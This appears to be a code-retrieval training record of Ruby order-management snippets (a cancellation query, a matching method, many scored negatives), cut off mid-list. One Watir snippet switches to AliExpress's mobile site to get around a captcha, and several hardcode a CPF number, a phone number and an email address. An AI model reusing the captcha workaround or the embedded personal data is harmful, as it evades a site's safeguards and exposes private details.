"def complete_order customer\n puts \"========= Completing Order\"\n # Go to Cart Page\n @b.goto 'https://shoppingcart.aliexpress.com/shopcart/shopcartDetail.htm'\n # Check if all items can be purchased\n sleep 5\n if @b.button(class: \"buy-now-disabled-info\").exists?\n raise \"Um dos produtos do carrinho não está mais disponível\"\n end\n @b.button(class: \"buy-now\").wait_until_present(timeout: 30)\n if !@b.button(class: \"buy-now\").exists?\n raise \"Produto sem estoque na Aliexpress\"\n else\n @b.button(class: \"buy-now\").click\n end\n # Check if current session if up\n self.check_if_session_is_up\n # Fill customer's address\n puts \"========= Adding customer informations\"\n @log.add_message('Adicionando informações do cliente')\n @b.text_field(name: \"contactPerson\").wait_until_present(timeout: 3)\n @b.text_field(name: \"contactPerson\").set to_english(customer[\"first_name\"]+\" \"+customer[\"last_name\"])\n @b.select_list(name: \"country\").select \"Brazil\"\n if customer['number'].nil?\n @b.text_field(name: \"address\").set to_english(customer[\"address_1\"])\n else\n @b.text_field(name: \"address\").set to_english(customer[\"address_1\"]+\" \"+customer['number'])\n end\n @b.text_field(name: \"address2\").set to_english(customer[\"address_2\"])\n # Wait for States to turn on select\n sleep 1\n state = self.state.assoc(customer[\"state\"])\n @b.div(class: \"sa-province-wrapper\").select_list.select state[1]\n @b.text_field(name: \"city\").set to_english(customer[\"city\"])\n @b.text_field(name: \"zip\").set customer[\"postcode\"]\n @b.text_field(name: \"phoneCountry\").set '55'\n @b.text_field(name: \"phoneArea\").set '55'\n @b.text_field(name: \"phoneNumber\").set '11'\n @b.text_field(name: \"mobileNo\").set '941873849'\n @b.text_field(name: \"cpf\").set '35825265856'\n @b.a(class: \"sa-confirm\").click\n\n # Placing order on desktop website\n @b.button(id: \"place-order-btn\").click\n\n puts \"========= Finishing Order\"\n @log.add_message('Finalizando Pedido')\n sleep 3\n if @b.span(class:\"order-no\").exists?\n # Return the number of the Order if there is no captcha\n @finished = true\n @b.span(class:\"order-no\").text\n else\n puts \"========= Captcha detected, going to mobile...\"\n @log.add_message('Captcha detectado, indo para carrinho mobile')\n @b.goto 'm.aliexpress.com/shopcart/detail.htm'\n @b.div(class:\"buyall\").wait_until_present(timeout: 30)\n @b.div(class:\"buyall\").click\n # Create the final order on mobile website to avoid captcha\n @b.button(id:\"create-order\").wait_until_present(timeout: 30)\n @b.button(id:\"create-order\").click\n @finished = true\n @b.div(class:\"desc_txt\").wait_until_present(timeout: 30)\n @b.div(class:\"desc_txt\").text\n end\n end",
"def order_params\n params.require(:order).permit(:customer_id, :order_date, :ship_date, :status)\n end",
"def cdg_order_status_params\n params.require(:cdg_order_status).permit(:is_active, :name, :sort_order, :name_for_display)\n end",
"def test_status\n @order_status = OrderStatusCode.find(@order['order_status_code_id'])\n assert_equal @order_status.name, @order.status\n end",
"def index\n @referral_sales = ReferralSale.where(user_id: current_user.id).paginate(page: params[:page])\n @order_status = {}\n Order.where(order_id: @referral_sales.pluck(:order_id)).collect { |order| @order_status[order.order_id] = order.status }\n end",
"def list_customer_orders\n orders = current_user.restaurant.orders.where.not(\"status = ? OR status = ? OR status = ? OR status = ?\", 2, 7, 8, 9)\n\n if orders.where(status: 6).length > 0 || orders.where(status: 0).length > 0\n render json: {orders: orders.as_json(include: :customer), notify: true}, status: :ok\n else\n render json: {orders: orders.as_json(include: :customer), notify: false}, status: :ok\n end\n end",
"def get_order_ids_for_cancel_or_pause\n #here sending back the order ids which are supposed to be marked canceled.\n #delivery_date > (ORDER_UPDATE_LIMIT+1).days.from_now.to_date)\n self.orders.where(\"state = ? and payment_state = ? and shipment_state = ? and delivery_date > ?\",\n 'confirm', 'pending', 'pending',(ORDER_UPDATE_LIMIT+1).days.from_now.to_date).pluck(:id)\n end",
"def index\n @orders =if current_user.role == \"provider\"\n Order.where(\"provider_id= ?\", current_user.id)\n elsif \n params[:status]\n Order.where(status: params[:status])\n # Order.where(\"provider_id= ? AND status= ?\", current_user.id, \"pending\")\n else\n current_user.orders\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @orders.to_json }\n end\n end",
"def update\n @order = Order.find(params[:id])\n unless @order.delivery_company_id.blank?\n @order.delivery_company_name=DeliveryCompany.find(@order.delivery_company_id).name\n else\n @order.delivery_company_name=\"\"\n end\n order_status_id=params[:order_status_id].to_i\n if @order.current_order_status.id!=order_status_id\n dict={}\n dict[1]=\"未确认\"\n dict[2]=\"确认\"\n dict[4]=\"正在配货\"\n dict[8]=\"配货完成\"\n dict[16]=\"已发货\"\n dict[64]=\"取消\"\n dict[128]=\"过期\"\n#如果订单标记为退货，则积分不返还，这样就省事一些，退货得退钱到现金账户，没有考虑细节，比如部分退换货\n @order.order_statuses << OrderStatus.create(:name=>dict[order_status_id],:value=>order_status_id,:tuangou=>false,:from=>\"后台订单管理\",:url=>request.fullpath)\n if order_status_id==16 and @order.tuangou==true\n email=@order.user.email\n email=\"frederick.mao@gmail.com\"\n title=@order.tuan.sub_title#以后改成edm_title\n mail=TuanMail.order_send(@order,email,title)\n mail.deliver \n logger.debug(\"TTTTTTTTTTTTREEEEEEEEEEEEEEEEEEEEE\")\n elsif order_status_id==16 and @order.tuangou==false\n CoreMail.order_send(@order).deliver\n logger.debug(\"发送已发货邮件\")\n end\n end\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to([:admin,@order], :notice => 'Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def order_params\n params.require(:order).permit(:user_id, :status)\n end",
"def complete_order\n # checks to see if there's an active order, and creates one if not\n @order_status = check_active_order\n # puts \"order status in close_order: #{@order_status}\"\n # retrieves grand total for the active order, if any\n the_total = get_grand_total\n # puts \"the_total: #{the_total}\"\n\n # checks to see if the total is a number or is nil/zero\n if the_total\n if the_total == 0\n # if the total is 0, it requests that the user add items to the cart\n puts \" \"\n puts \"Please add some items to your shopping cart. Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n else\n # if the total is a number, it asks user if they want to purchase\n puts \" \"\n puts \"Your order total is: $#{the_total}. Ready to purchase? (y/n)\"\n confirm_user_input = gets.chomp\n if confirm_user_input.downcase.to_s == \"y\"\n # if the user wants to check out, it triggers the apply payment method function\n apply_payment_method\n else\n puts \" \"\n puts \"Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n end\n end\n else\n # if the total is nil, it requests that the user add items to the cart\n puts \" \"\n puts \"Please add some items to your shopping cart. Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n end\n\n end",
"def order_params\n params.require(:order).permit(:status, :created_at, :updated_at)\n end",
"def order_params\n params.require(:order).permit(:subtotal, :tax, :shipping, :total, :order_status_id)\n end",
"def recalc_totals item_status = :current\n # Calculate subtotal based on the item_status passed in (defaults to :current)\n \n running_total = Money.new(0)\n subtotal_amount = Money.new(order_subtotal(item_status))\n\n running_total = subtotal_amount\n\n # Calculate delivery amount (based on the select event?)\n delivery_amount = Money.new(65)\n running_total += delivery_amount\n\n # Calculate gratuity \n gratuity_amount = calc_gratuity(running_total)\n running_total += gratuity_amount\n\n # Calculate tax amount: subtotal + gratuity \n tax_amount = calc_tax(running_total)\n running_total += tax_amount\n \n # Update total\n total_amount = running_total\n\n # Subsidy\n subsidy_amount = subsidy total_amount\n total_amount -= subsidy_amount\n\n # Return values to caller\n {subtotal_amount_cents: subtotal_amount,\n gratuity_amount_cents: gratuity_amount,\n delivery_amount_cents: delivery_amount,\n tax_amount_cents: tax_amount,\n subsidy_amount_cents: subsidy_amount,\n total_amount_cents: total_amount}\n end",
"def getNextCancelledOrder(status_hash)\n\t\t$CONFIG[:api_path] +='/next_cancelled_order'\n\t\tbegin\n\t\t\tresponse = RestClient.get(apiAuth)\n\t\trescue\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = \"couldn't connect to api\"\n\t\tend\n\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\ttmp_order_hash = JSON.parse(response)\n\t\t\tstatus_hash[:status] = 0\n\t\t\tstatus_hash[:msg] = 'cancelled order received'\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = 'no cancelled orders'\n\t\t\tputs status_hash[:msg]\t\t\t\n\t\t\texit\n\t\tend\n\t\t\n\t\torder_hash = {\n\t\t\t:order_number\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"order_number\"].to_s,\n\t\t\t:customer_first_name\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_last_name\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_last_name\"],\n\t\t\t:customer_email\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_email\"],\n\t\t\t:status\t\t\t\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"status\"]\n\t\t}\n\t\torder_hash\n\tend",
"def initialize_order_events\n @order_events = %w{approve cancel resume}\n end",
"def si_update_receipt_and_order_select_from_project\n project = params[:order]\n if project != '0'\n @project = Project.find(project)\n @receipt_notes = @project.blank? ? receipts_dropdown : receipts_dropdown_by_project(@project)\n @purchase_orders = @project.blank? ? unbilled_purchase_orders_dropdown : unbilled_purchase_orders_dropdown_by_project(@project)\n else\n @receipt_notes = receipts_dropdown\n @purchase_orders = unbilled_purchase_orders_dropdown\n end\n # Notes array\n @notes_dropdown = notes_array(@receipt_notes)\n # Orders array\n @purchase_orders_dropdown = purchase_orders_array(@purchase_orders)\n # Setup JSON\n @json_data = { \"note\" => @notes_dropdown, \"order\" => @purchase_orders_dropdown }\n render json: @json_data\n end",
"def order_params\n params.require(:order).permit( :order_date, :user_id, :status)\n end",
"def order_params\n params.require(:order).permit(:user_id, :order_status, :box_id)\n end",
"def status\n if params['payment_status'] == \"COMPLETE\"\n \"Completed\"\n else\n \"Failed\"\n end\n end",
"def build_status_request_body\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.transaction_request(\"version\" => \"2\") do\n xml.transaction @order.sofort_id\n end\n end\n builder.to_xml\n end",
"def check_status(cart)\n if cart.verify == 0\n 'Pending'\n elsif cart.verify == 1\n 'Accept'\n elsif cart.verify == 2\n 'Decline'\n end\nend",
"def sync_all_orders_qoo10(orders)\n @message = []\n @cart_numbers = []\n begin\n orders.each do |ord|\n if !ord.products.present?\n @order = nil\n @shpping_address = nil\n @billing_address = nil\n @is_customer_pickup = nil\n order = ord.market_place_details\n @order = Spree::Order.find_by_market_place_order_no(order[\"orderNo\"]) if order.present?\n if @order.present? && order.present?\n gift = order[\"Gift\"].present? ? false : true\n shipping_country = Spree::Country.find_by_iso(order[\"shippingCountry\"])\n billing_country = Spree::Country.find_by_iso(order[\"senderNation\"])\n name = order[\"receiver\"].present? ? order[\"receiver\"] : (order[\"buyer\"].present? ? order[\"buyer\"] : \"NA\")\n telno = order[\"receiverTel\"].present? ? order[\"receiverTel\"] : (order[\"buyerTel\"].present? ? order[\"buyerTel\"] : \"NA\")\n mobileno = order[\"receiverMobile\"].present? ? order[\"receiverMobile\"] : (order[\"buyerMobile\"].present? ? order[\"buyerMobile\"] : \"NA\")\n if order[\"OrderType\"] == \"Pickup\"\n @is_customer_pickup = true\n # our singapore warehouse address\n address1 = \"151 Pasir Panjang Road\"\n address2 = \"#02-02 Pasir Panjang Distripark\"\n zipcode = \"118480\"\n phone = \"+65 6271 0524\"\n @order.shipping_address.update_attributes(:firstname=> name, :lastname=> name, :address1=> address1, :address2=> address2,\n :city=> shipping_country.name, :zipcode=> zipcode, :phone=> phone, :alternative_phone=> \"\", :country_id=> shipping_country.id,\n :state_name=> shipping_country.name)\n if order[:Addr1].present?\n @order.billing_address.update_attributes(:firstname=> name, :lastname=> name, :address1=> order[\"Addr1\"], :address2=> order[\"Addr2\"],\n :city=> shipping_country.name, :zipcode=> order[\"zipCode\"], :phone=> telno, :alternative_phone=> mobileno, :country_id=> shipping_country.id,\n :state_name=> shipping_country.name)\n end\n else\n @is_customer_pickup = false\n @order.shipping_address.update_attributes(:firstname=> name, :lastname=> name,\n :address1=> order[\"Addr1\"], :address2=> order[\"Addr2\"],\n :city=> shipping_country.name, :zipcode=> order[\"zipCode\"],\n :phone=> telno, :alternative_phone=> mobileno,\n :country_id=> shipping_country.id, :state_name=> shipping_country.name)\n end\n if !order[\"senderName\"].present? && !order[\"senderAddr\"].present? && !order[\"senderNation\"].present? && !order[\"senderZipCode\"].present? && !order[\"senderTel\"].present? && !billing_country.nil?\n @order.billing_address.update_attributes(:first_name=> order[\"senderName\"], :lastname=>\"\",\n :address1=> order[\"senderAddr\"], :address2=>\"\",\n :city=> billing_country.name, :zipcode=> order[\"senderZipCode\"],\n :phone=> order[\"senderTel\"], :alternative_phone=>\"\",\n :country_id=> billing_country.id, :state_name=> billing_country.name)\n end\n billing_address = (!@order.billing_address.nil? && !@order.billing_address.blank?) ? @order.billing_address.id : nil\n @mp_product = nil\n @line_item = nil\n @stock = nil\n @mp_product = Spree::SellersMarketPlacesProduct.find_by_market_place_product_code(order[\"itemCode\"])\n @order.update_attributes(:number=> order[\"orderNo\"], :order_date=> order[\"PaymentDate\"], :item_total=> order[\"orderPrice\"],\n :total=> order[\"total\"], :payment_total=> order[\"total\"],\n :email=> order[\"buyerEmail\"], :currency=> order[\"Currency\"],\n :send_as_gift=> gift, :market_place_id=> @mp_product.present? ? @mp_product.market_place_id : nil,\n :market_place_order_no=> order[\"orderNo\"],\n :bill_address_id=> billing_address, :ship_address_id=> @order.shipping_address.id)\n #@order.adjustments.first.update_attributes(:amount=> -order[\"discount\"].to_f, :label=> \"discount\") if @order && @order.adjustments.present? && order[\"discount\"].to_f != 0.0\n if @mp_product.present? && @order.present?\n if order[\"option\"] == \"\"\n # options not present i.e. for product\n @variant = Spree::Variant.find_by_sku(@mp_product.product.sku)\n if !@mp_product.nil? && !@mp_product.blank? && !@variant.nil? && !@variant.blank?\n @line_item = Spree::LineItem.create!(:variant_id=> @variant.id, :order_id=> @order.id, :quantity=> order[\"orderQty\"].to_i, :price=> order[\"orderPrice\"], :currency=> order[\"Currency\"], :is_pick_at_store => @is_customer_pickup)\n @stock = @mp_product.product.stock_products.first\n end\n else\n # options are present i.e. for variant\n #option_arr = order[\"option\"].split(\"(\")[0].split(\":\")\n option_arr = order[:option].split(\":\")\n if option_arr[1].split(\"(+\").count > 1\n option_arr[1] = option_arr[1].split(\"(+\")[0]\n elsif option_arr[1].split(\"(-\").count > 1\n option_arr[1] = option_arr[1].split(\"(-\")[0]\n end\n @variant = nil\n @mp_product.product.variants.each do |v|\n @variant = v if !v.option_values.blank? && (v.option_values.map(&:presentation).include?option_arr[1].strip)\n end if !@mp_product.nil? && @mp_product.product && @mp_product.product.option_types && !@mp_product.product.option_types.blank? && (@mp_product.product.option_types.map(&:presentation).include?option_arr[0])\n if !@mp_product.nil? && !@mp_product.blank? && !@variant.nil? && !@variant.blank?\n @line_item = Spree::LineItem.create!(:variant_id=> @variant.id, :order_id=> @order.id, :quantity=> order[\"orderQty\"].to_i, :price=> order[\"orderPrice\"], :currency=> order[\"Currency\"], :is_pick_at_store => @is_customer_pickup)\n @stock = @mp_product.product.stock_products.where(\"variant_id=?\", @variant.id).first\n end\n end\n # to reduce the stock after placing the order\n @stock.update_attributes(:count_on_hand=>(@stock.count_on_hand - order[\"orderQty\"].to_i) >= 0 ? (@stock.count_on_hand - order[\"orderQty\"].to_i) : 0 ) if @stock\n # code to reduce the kit quantity after order placed for kit as product\n @product = @mp_product.product\n if @product.kit.present? && @product.present?\n @product.kit.update_attributes(:quantity => @product.kit.quantity - order[\"orderQty\"].to_i)\n end\n # reload the order object\n @order.reload\n # add cart number into array\n @cart_numbers << order[\"packNo\"]\n end\n end\n @message << (@order && @order.present? ? (@order.market_place_order_no.to_s+\": \"+ \"Success\") : nil)\n end # end of if product does not exist\n end # end of orders loop\n rescue Exception => e\n @message << e.message\n end\n # take only unique cart number from array\n @cart_numbers = @cart_numbers.uniq\n # pass the array to method which can clubbed the orders according to cart number and then push to FBA\n @message << \"FBA: \"+ Spree::Order.push_to_fba(@cart_numbers)\n return @message.join(\"; \")\n end",
"def status\r\n if @status == \"paid\"\r\n :completed\r\n elsif @tatus == \"refused\"\r\n :refused\r\n else\r\n :pending_payment\r\n end\r\n end",
"def order_completed_not_changed\n\t\tself.errors.add(:order_completed, \"you cannot change the order status to completed, this is automatically derived\") if self.changed_attributes.include? \"order_completed\"\n\tend",
"def update\n if @order.update_attributes(object_params)\n\n # fire_event('moseller.checkout.update')\n \n if @order.respond_to?(:coupon_code) && @order.coupon_code.present?\n # fire_event('moseller.checkout.coupon_code_added', :coupon_code => @order.coupon_code)\n end \n \n if @order.state == \"delivery\"\n logger.info params\n @order.customer_name = params[:customer_name]\n @order.email = params[:email]\n @order.mobile_number = params[:mobile_number]\n \n if @order.check_sms\n flash[:success] = I18n.t(:order_sms_to_long)\n respond_with(@order, :location => checkout_state_path('delivery'))\n else\n @order.save\n end\n \n end\n\n if @order.state == \"payment\"\n logger.info \"PAYMENT\"\n if @order.payment_not_required?\n @order.next\n end\n end\n \n if @order.next\n state_callback(:after)\n else\n flash[:error] = I18n.t(:payment_processing_failed)\n respond_with(@order, :location => checkout_state_path(@order.state))\n return\n end\n \n if @order.state == \"complete\" || @order.completed?\n flash[:success] = I18n.t(:order_processed_successfully)\n # gflash :success => I18n.t(:order_processed_successfully)\n flash[:commerce_tracking] = \"Your order number is \" + @order.number().to_s()\n respond_with(@order, :location => completion_route)\n else\n respond_with(@order, :location => checkout_state_path(@order.state))\n end\n else\n respond_with(@order) { |format| format.html { render :edit } }\n end\n end",
"def cancel_order\n if self.status.downcase == \"pending\"\n self.status = \"Canceled\"\n self.save\n self\n else \n \"Error in Order Model\"\n end\n end",
"def order_params\n params.require(:order).permit(:order_ID, :menu_ID, :table_ID, :login_ID, :total, :total_tax_not, :status)\n end",
"def checkout(status, headers, response)\n [status, headers, [json_encode(response)]]\n end",
"def confirmation\n @order = Order.find_by(id: session[:order_id])\n @order.assign_attributes(order_update_params[:order])\n\n #updates status if shipping info exists(after order confirmation)\n @order.assign_attributes(order_state: \"paid\") if params[:order][:carrier_code] != nil\n\n if @order.save\n reset_cart\n render :order_confirmation\n else\n @user = User.find_by(id: session[:user_id])\n render :shipping\n end\n end",
"def commerce_mark_cart_received(cart, status = 'paid')\n args = {cart: cart, status: status}; hooks_run('commerce_before_payment_completed', args)\n order = cart.convert_to_order(status)\n order.set_meta('locale', I18n.locale)\n commerce_order_send_mail(order)\n flash[:cama_ecommerce][:notice] = t('plugins.ecommerce.messages.payment_completed', default: \"Payment completed successfully\")\n args = {order: order, status: status}; hooks_run(\"commerce_after_payment_completed\", args)\n order\n end",
"def order_params\n params.require(:order).permit(:customer_id, :status)\n end",
"def settle_payments_if_desired\n @settlement_results = { \"errors\" => [], \"status\" => [] }\n\n op = nil\n\n unless @order.canceled?\n while options[\"ok_capture\"] && @order.outstanding_balance > 0 && op = pick_payment { |opp| opp.pending? && opp.amount > 0 && opp.amount <= @order.outstanding_balance }\n rescue_gateway_error { op.capture! }\n end\n\n while options[\"ok_partial_capture\"] && @order.outstanding_balance > 0 && op = pick_payment { |opp| opp.pending? && opp.amount > 0 && opp.amount > @order.outstanding_balance }\n # Spree 2.2.x allows you to pass an argument to\n # Spree::Payment#capture! but this does not seem to do quite\n # what we want. In particular the payment system treats the\n # remainder of the payment as pending.\n op.amount = @order.outstanding_balance\n rescue_gateway_error { op.capture! }\n end\n\n while options[\"ok_void\"] && @order.outstanding_balance <= 0 && op = pick_payment { |opp| opp.pending? && opp.amount > 0 }\n rescue_gateway_error { op.void_transaction! }\n end\n\n while options[\"ok_refund\"] && @order.outstanding_balance < 0 && op = pick_payment { |opp| opp.completed? && opp.can_credit? }\n rescue_gateway_error { op.credit! } # remarkably, THIS one picks the right amount for us\n end\n end\n\n # collect payment data\n @order.payments.select{|op| op.amount > 0}.each do |op|\n @settlement_results[\"status\"] << { \"id\" => op.id, \"state\" => op.state, \"amount\" => op.amount, \"credit\" => op.offsets_total.abs }\n end\n end",
"def order_params\n params.require(:order).permit(:Status, :Buyername, :Buyernumber, :Buyeraddress, :cart_id, :user_id)\n end",
"def log_status(state = nil)\n I18n.with_locale(:cn) do\n I18n.t \"models.order.status.#{ORDER_STATUS.key((state||self.status).to_i).downcase}\"\n end\n end",
"def update_order\n if @order.update_with_params(params, permitted_checkout_attributes)\n if @order.next\n if @order.completed?\n cur_order = nil\n else\n @error = @order.errors.full_messages.join(\"\\n\")\n end\n end\n else\n message = []\n @order.errors.each do |key, msg|\n message.push(\"#{key.to_s.gsub('.', ' ').humanize} #{msg}\")\n end\n @error = message.join(\"\\n\")\n end\n\n render json: {\n status: !@error.present?,\n error: @error,\n state: @order.present? ? @order.state : '',\n has_order: cur_order.present?,\n has_failed: params[:failed_id].present?,\n failed_id: params[:failed_id]\n }\n end",
"def update_state\n puts \"******* update_state *******\"\n puts \"** params.inspect: #{params.inspect}\"\n puts \"** params[:event]: #{params[:event]}\"\n # events: submit process ship deliver confirm cancel\n @msg = \"result state: \"\n\n if params[:event] == \"submit\"\n if @@ORDER_STATE == nil\n @state = 1\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"process\"\n if @@ORDER_STATE == \"ordered\"\n @state = 2\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"ship\"\n if @@ORDER_STATE == \"processing\"\n @state = 3\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"deliver\"\n if @@ORDER_STATE == \"shipping\"\n @state = 4\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"confirm\"\n if @@ORDER_STATE == \"delivered\"\n @state = 5\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"cancel\"\n @state = 6\n update_order(@msg)\n else\n @state = 0\n update_order(@msg)\n end\n # logs the current state\n # print_state\n puts \"** @state: #{@state}\"\n end",
"def get_undelivered_order_ids\n\n #enable this one for previous restricted conditioned(pause/resume)\n #orders =self.orders.select('id, delivery_date').where('spree_orders.delivery_date > ?', Time.now).limit(3)\n orders = self.orders.select('id, delivery_date').where('spree_orders.state in (?) ', ['confirm', 'placed']).limit(3)\n\n order_ids = {}\n\n orders.each_with_index do |order, index|\n order_ids.merge!(index => order.id)\n end\n\n order_ids\n end",
"def statuses\n aux = WorkOrderStatus.all\n render json: serialized_work_order_statuses(aux)\n end"
] |
[
"0.6372586",
"0.6165534",
"0.60978407",
"0.6087016",
"0.6072661",
"0.60612524",
"0.60599273",
"0.5994147",
"0.5992697",
"0.5967205",
"0.5949428",
"0.5939117",
"0.5932423",
"0.5891728",
"0.58776146",
"0.5876617",
"0.586827",
"0.5862171",
"0.58587635",
"0.5855199",
"0.5848374",
"0.5846388",
"0.5786229",
"0.57845616",
"0.5763959",
"0.57601345",
"0.57414645",
"0.57360744",
"0.5718648",
"0.5712014",
"0.57107955",
"0.5695517",
"0.56925726",
"0.56922853",
"0.56755465",
"0.5673084",
"0.5670166",
"0.56623936",
"0.5657682",
"0.5647174",
"0.563932",
"0.5581101",
"0.5570043",
"0.5565493",
"0.554099",
"0.5537379",
"0.55310464",
"0.5530779",
"0.55213106",
"0.5511435",
"0.5506654",
"0.5505373",
"0.5496632",
"0.54906833",
"0.5485661",
"0.5485455",
"0.54800534",
"0.54753155",
"0.5473773",
"0.5459596",
"0.545781",
"0.54568696",
"0.5455228",
"0.5447005",
"0.5446865",
"0.54465234",
"0.5434868",
"0.54312843",
"0.5420028",
"0.54191685",
"0.5418781",
"0.54079324",
"0.54045534",
"0.5398627",
"0.5397455",
"0.5394824",
"0.5384574",
"0.53814566",
"0.53668314",
"0.5364867",
"0.53614634",
"0.5356385",
"0.5349076",
"0.53485686",
"0.53467774",
"0.53452814",
"0.5341095",
"0.53374153",
"0.53227913",
"0.53187305",
"0.5314837",
"0.53116393",
"0.53007394",
"0.5296954",
"0.52942866",
"0.5294229",
"0.52872944",
"0.5276425",
"0.52559453",
"0.52545065",
"0.52483946"
] |
0.0
|
-1
|
Cancel an existing order Void/refund all associated payments Set order status to :canceled
|
def cancel status=:canceled
result = true
# Refund all transactions associated with order
self.select_order_transactions.payments.each do |t|
result = self.braintree_refund_transaction t
end
# Mark the order as canceled if all braintree refunds succeeded
if result
self.edit_mode = false
self.status = status
self.save
end
# Return result
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cancel_order\n if self.status.downcase == \"pending\"\n self.status = \"Canceled\"\n self.save\n self\n else \n \"Error in Order Model\"\n end\n end",
"def cancel_order(source_account, order_id)\n\tputs \"Canceling order: \" + order_id + \" from: \" + source_account\n\tresponse = request_put(\"/api/order/\" + source_account + \"/\" + order_id + \"/cancel\")\n\tputs response.body\nend",
"def cancel\n canceller = OrderCanceller.new(order).all!\n if canceller.success?\n flash[:success] = 'Order was cancelled successfully.'\n redirect_to(:back)\n else\n flash[:error] = \"#{canceller.error}\"\n redirect_to(:back)\n end\n end",
"def cancel\n @order.cancel!\n return redirect_to order_path(@order), :notice => t(:update_success)\n end",
"def cancel\n find_order\n @order.cancel! unless @order.canceled?\n settle_payments_if_desired\n render text: @settlement_results.to_json\n end",
"def cancel_order(order_id)\n res = request('post', \"https://#{orders_path}/#{order_id}/cancel\")\n parse_response res\n end",
"def cancel\n order = current_user.customer.orders.find(params[:id])\n order.update(status: 9)\n render json: {is_success: true}, status: :ok\n end",
"def cancel_order (order)\n if order.is_a?(Numeric)\n id = order\n elsif order.is_a?(Array)\n id = order[0]\n elsif order.instance_of?(Models::Order)\n id = order.id\n elsif order.kind_of?(Hash)\n id = order[:id] || order['id']\n else\n raise Exception, 'tried to cancel order with invalid ID'\n end\n authenticated_post(\"auth/w/order/cancel\", params: { :id => id }).body\n end",
"def cancel_order(options)\n request :account, :delete, 'order', options\n end",
"def cancel\n @order.cancel\n render_update @order\n end",
"def cancel\n payment = Spree::Payment.find_by(id: params[:payment_id])\n redirect_to redirect_path(payment.try(:order))\n end",
"def cancel!\n logger.debug 'Cancel all orders'\n canceled_orders = client.cancel_orders\n logger.debug \"Orders canceled #{canceled_orders.count}\"\n end",
"def ocancel\n @aorder=Aorder.find_by_id(params[:id])\n @aorder.iscanceled=true\n @aorder.ttmid=session[:user].id\n @aorder.save!\n redirect_to aorders_path\n end",
"def cancel_orders(order_ids)\n order_ids.each do |id|\n @api.cancel_order(id)\n @log.info \"successfully cancelled order #{id}\"\n end\n end",
"def destroy\n if @order.update(order_status: OrderStatus::Canceled.first)\n respond_to do |format|\n format.html { redirect_to admin_preorders_url }\n format.json { head :no_content }\n end\n end\n end",
"def cancel(unique_id)\n request('payment/cancel', :cancel => {:unique_id => unique_id} )\n end",
"def cancel!\n if transfer.present? && transfer.complete?\n return!\n update cancelled_at: Time.current\n else\n transfer.destroy! if transfer.present?\n destroy!\n end\n order.update_shipped!\n end",
"def cancel\n\t\tuseid = params[:format]\n\t\t@order = Order.find_by(id: useid)\n if @order.nil?\n\t\t\tflash[:danger] = \"Order can not be cancelled - invalid order\"\n\t\t\tif current_user.admin?\n\t\t\t\tredirect_to admin_path and return\n\t\t\telse\n\t\t\t\tredirect_to current_user and return\n\t\t\tend\n\t\tend\n\t\t@user = User.find_by(id: @order.user_id)\n if @user.nil?\n\t\t\tflash[:danger] = \"Order \\\"#{@order.name}\\\" can not be cancelled - invalid user\"\n\t\t\tif current_user.admin?\n\t\t\t\tredirect_to admin_path and return\n\t\t\telse\n\t\t\t\tredirect_to current_user and return\n\t\t\tend\n\t\tend\n\n\t\tif !(current_user?(@user) || current_user.admin?)\n\t\t\tflash[:danger] = \"Must be owner to perform this action.\"\n\t\t\tredirect_to(root_url) and return\n\t\tend\n\n\t\ta = @order.destroy\n\t\tif !a\n\t\t\tflash[:danger] = \"Order \\\"#{@order.name}\\\" could not be cancelled\"\n\t\telse\n\t\t\tflash[:success] = \"Order \\\"#{@order.name}\\\" has been cancelled\"\n\t\tend\n\t\t\n\t\tif current_user.admin?\n\t\t\tredirect_back(fallback_location: admin_path) and return\n\t\telse\n\t\t\tredirect_to current_user and return\n\t\tend\n\tend",
"def order_cancellation\n\t\torder = Order.first\n\t\tOrderMailer.order_cancellation(order)\n end",
"def cancel\n\t\tclient = GocardlessPro.new(self.customer.client.organisation)\n\t\tclient.cancel_payment(self.gc_id)\n\tend",
"def cancel\n @order = Order.find(params[:id])\n if((@order.status == \"DRAFT\" || @order.status == \"PLACED\") && params.has_key?(:note))\n @order.cancel_note = params[:note]\n @order.status = \"CANCELLED\"\n if @order.save\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Cancelled!'}\n format.json { render json: @order, status: :accepted, location: @order }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @order, notice: 'You must have a note param and either be in draft or placed mode.' }\n format.json { render json: @order.errors, status: :method_not_allowed }\n end\n end\n end",
"def cancel!\n if hpp_payment? || adyen_cc_payment?\n if source.respond_to?(:requires_manual_refund?) && source.requires_manual_refund?\n log_manual_refund\n else\n process { payment_method.cancel response_code }\n end\n else\n super\n end\n end",
